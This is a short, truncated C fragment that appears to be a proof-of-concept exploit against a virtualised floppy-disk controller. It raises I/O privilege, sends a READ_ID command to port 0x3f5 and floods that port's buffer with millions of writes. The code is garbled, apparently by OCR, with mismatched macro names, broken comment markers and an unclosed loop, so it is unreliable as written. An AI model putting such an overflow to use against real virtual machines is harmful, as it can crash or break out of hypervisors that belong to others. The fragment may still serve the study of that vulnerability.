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#include <sys/io.h>
#define FIFO 0x3f5
#define READ_ID 0x0a
#define DUMMY_ VAL 0x42

int main() {
iopl (3); /* Change I/O privilege level x/

outb (READID, FIFO); /+ READ_ID Command x/
for (int i = 0; i < 10000000; i++) {

/* write to FIFOx/

outb (DUMMY_.VAL, FIFO);
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